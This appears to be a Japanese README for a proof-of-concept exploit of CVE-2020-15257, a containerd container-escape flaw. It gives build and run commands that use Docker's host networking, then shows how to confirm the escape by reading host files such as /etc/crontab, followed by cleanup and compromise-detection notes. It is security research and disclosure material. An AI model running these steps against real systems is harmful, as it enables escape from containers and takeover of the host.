
containerd における CVE-2020-15257 の概念実証(PoC)
このリポジトリには、CVE-2020-15257 の概念実証 (PoC) エクスプロイトコードが含まれています。詳細はブログ記事に記載されています。 containerd 1.2.x および 1.3.x 向けに作成されていますが、パッチ適用前の containerd 1.4.x でも動作するはずです。
$ go build
$ docker build -t abstractshimmer .
$ docker run --rm -d --network host abstractshimmer | xargs docker logs -f
$ cat /tmp/shimmer.out
$ cat /tmp/shimmer.binary
$ # or, for containerd 1.2.x
$ cat /etc/crontab
注記: このエクスプロイトを実行すると、Docker/containerd の状態が多少不安定になります。後始末として、宙ぶらりんになった containerd-shim と Docker コンテナをそれぞれ kill し、docker rm --force する必要があります。
/var/lib/containerd/io.containerd.runtime.v1.linux/moby/ と /run/containerd/io.containerd.runtime.v1.linux/moby/ にもいくつか残骸が残ります。さらに、このエクスプロイトは containerd の address ファイルの整合性を修復しようとはしません。そのため、エクスプロイト後に脆弱なシステムを更新しようとすると、Docker/containerd が正常に再起動できなくなったり、既存のコンテナを認識できなくなったりする問題が発生する可能性があります。containerd パッケージの更新中にこの現象が発生した場合、そのシステムがこのエクスプロイトの何らかの亜種によって以前に侵害された可能性があります。